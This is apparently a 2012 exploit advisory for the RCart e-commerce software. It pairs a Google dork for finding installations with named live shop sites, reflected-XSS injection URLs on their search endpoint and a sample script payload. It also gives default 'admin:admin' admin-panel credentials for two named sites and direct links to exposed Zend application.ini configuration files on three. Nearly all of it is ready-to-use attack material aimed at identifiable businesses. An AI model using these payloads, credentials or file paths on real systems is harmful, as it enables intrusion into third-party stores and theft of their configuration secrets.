xss y panel admin

           _                    _ _                 
 _ __ _   _| |__   ___ _ __     | (_)_ __  _   ___  __
| '__| | | | '_ \ / _ \ '_ \    | | | '_ \| | | \ \/ /
| |  | |_| | |_) |  __/ | | |   | | | | | | |_| |>  <
|_|   \__,_|_.__/ \___|_| |_|___|_|_|_| |_|\__,_/_/\_\
                           |_____|                   

# Type: Xss & default admin panel
#
# Google Dork: "powered by rcart"
#
# Date: 1/9/12
#
# Author: ruben_linux
#
# Site : http://arealinux(dot)blogspot(dot)com(dot)es
#          http://www(dot)youtube(dot)com/user/rubenlinux
==================================

[+] http://www.emallhub.com/
[+] http://www.jaya4tech.com

http://www.jaya4tech.com/ajax/ajaxseachauto?format=json&q=[HERE XSS]&limit=10&timestamp=1346508322457
http://www.emallhub.com/ajax/ajaxseachauto?format=json&q=[HERE XSS]&limit=10&timestamp=1346508394788

<<script>alert(132);

http://www.jaya4tech.com/admin~~~|
                                 |---->admin:admin
http://www.emallhub.com/admin~~~~|

Also: http://packetstormsecurity.org/files/115906/Zend-Framework-Information-Disclosure.html

[+] http://www.lumbiniimports.com/application/configs/application.ini
[+] http://www.emallhub.com/application/configs/application.ini
[+] http://www.jaya4tech.com/application/configs/application.ini

 

http://packetstormsecurity.org/files/116158/RCart-Cross-Site-Scripting-Admin-Panel.html